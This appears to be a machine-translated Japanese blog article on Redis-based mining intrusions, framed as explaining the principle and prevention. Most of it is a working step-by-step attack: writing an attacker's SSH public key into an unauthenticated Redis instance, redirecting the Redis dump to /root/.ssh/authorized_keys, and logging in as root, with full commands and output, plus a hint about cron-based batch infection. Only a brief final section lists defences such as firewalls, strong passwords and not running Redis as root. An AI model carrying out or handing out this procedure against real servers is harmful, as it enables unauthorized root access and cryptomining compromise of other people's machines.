この記事では、Redis マイニングの原則について説明し、それを防止する方法を確認し、防止テクニックを共有します。皆様のお役に立てれば幸いです。
筆者もマイニング ウイルスによる攻撃を受けたことがあり、非常に不快な思いをしましたが、実際には、侵入手段を理解していれば、非常に簡単に攻撃できます。今日は、Redis が権限昇格を実行してリモート サーバーの root ユーザーを取得する方法を説明します。 [関連する推奨事項: Redis ビデオ チュートリアル ]
1. まず、いくつかの前提条件が必要です
条件 1: まず最初に、Redis が存在する必要があり、そのポート [デフォルト 6379] を知っている必要があります;
条件 2: Redis のパスワードは複雑すぎることはできません、またはパスワードがありません;
条件 3: Redis を開始するユーザーは、より破壊的になるため、できれば Root ユーザーであることが望ましい;
2. 問題を起こし始める
ssh-keygen を通じてペアを生成します。もちろん、既存のキーを使用することもできます。問題のないもの。
root@kali:/usr/local/src# ssh-keygen Generating public/private rsa key pair. Enter file in which to save the key (/root/.ssh/id_rsa): /tmp/rediskey/id_rsa
次に公開鍵から攻撃キーの値を生成します
(echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n";) > foo.txt
内容は以下の通りです
root@kali:/tmp/rediskey# cat foo.txt ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCZB1Kb/3lHME9MfDqgYyR6t+cvZRRptbakeGw8QOeAVzIbpPpU1bxintCJjpV4g+2hgesSI9Mlqtvqx1GWd401eoK1nKZM3qNV4zXGs5Ql6ylWBNjgUKuDQ/Y69aWzm3CbfA2z8zMMdVY/zJi71u1clxxkG4JE6GuntaWVzZa3BxBDhTLLYCyx/bMA9tSfYnmOL2zH0ecJDQ99y+dSu4UhpK9BJcyKVoAzljm2Q2TbOMI4EvQQcG2EfrX/YlRtlOToEf5DPeZtattFOajbLHVXM4AIug91xB53sfGcNJ6dLbFKlG4bYG/cmtASyR1y4Ef8rb/VMGPOVfzCZqebXgc1 root@kali
ここで前後に改行を2行追加する目的はデータが相互に接続されて障害の問題が発生するのを防ぎます。
操作は次のとおりです。
root@kali:/tmp/rediskey# cat foo.txt |redis-cli -h 192.168.243.129 -x set bar OK
Redis にログインして、Redis にログインしているかどうかを確認します。 Redis に書き込まれています。
root@kali:/tmp/rediskey# redis-cli -h 192.168.243.129 192.168.243.129:6379> get bar "\n\n\nssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCZB1Kb/3lHME9MfDqgYyR6t+cvZRRptbakeGw8QOeAVzIbpPpU1bxintCJjpV4g+2hgesSI9Mlqtvqx1GWd401eoK1nKZM3qNV4zXGs5Ql6ylWBNjgUKuDQ/Y69aWzm3CbfA2z8zMMdVY/zJi71u1clxxkG4JE6GuntaWVzZa3BxBDhTLLYCyx/bMA9tSfYnmOL2zH0ecJDQ99y+dSu4UhpK9BJcyKVoAzljm2Q2TbOMI4EvQQcG2EfrX/YlRtlOToEf5DPeZtattFOajbLHVXM4AIug91xB53sfGcNJ6dLbFKlG4bYG/cmtASyR1y4Ef8rb/VMGPOVfzCZqebXgc1 root@kali\n\n\n\n"
次の操作を見てみましょう
192.168.243.129:6379> config set dir /root/.ssh OK 192.168.243.129:6379> config get dir 1) "dir" 2) "/root/.ssh" 192.168.243.129:6379> config set dbfilename "authorized_keys" OK 192.168.243.129:6379> save OK 192.168.243.129:6379> exit
現時点では、リモートでログインします。ホストへの影響を確認します。
root@kali:/tmp/rediskey# ssh -i id_rsa root@192.168.243.129 The authenticity of host '192.168.243.129 (192.168.243.129)' can't be established. ECDSA key fingerprint is SHA256:XTnAL+b8HB5FL/t3ZlZqt0EfmTBgj7TI5VBU0nSHSGU. Are you sure you want to continue connecting (yes/no)? yes Warning: Permanently added '192.168.243.129' (ECDSA) to the list of known hosts. Linux kali 4.19.0-kali3-amd64 #1 SMP Debian 4.19.20-1kali1 (2019-02-14) x86_64 Last login: Sun Apr 14 20:52:40 2019 from 192.168.243.1 root@kali:~# w
OK、ここでの権利の昇格は成功しました。それでは、エクスポートされたファイルが何であるかを見てみましょう。実際には Redis をファイル形式で保存したものですが、ここでは示しませんので、興味のある方は自分で開いて見てください。
3. 回避方法
この脆弱性は非常に強力です。現在ホスト権限を 1 つだけ持っており、それをスケジュールされたタスクに追加していくつかのスクリプトを実行します。バッチ感染についてはどうですか?
予防のためのヒントは次のとおりです:
Redis は危険な IP をリッスンしないでください。その場合は、ファイアウォール制御を追加してください。
Redis ではパスワード制限を強化する必要があり、弱いパスワードであってはなりません;
Redis を root ユーザーとして起動しないようにしてください。
Redis マイニングを防ぐには、上記の 3 つのポイントに従ってください。問題ありません。
プログラミング関連の知識の詳細については、プログラミング入門 を参照してください。 !
以上がRedis マイニングの原理とそれを防ぐ方法 (スキル共有) の簡単な分析の詳細内容です。詳細については、PHP 中国語 Web サイトの他の関連記事を参照してください。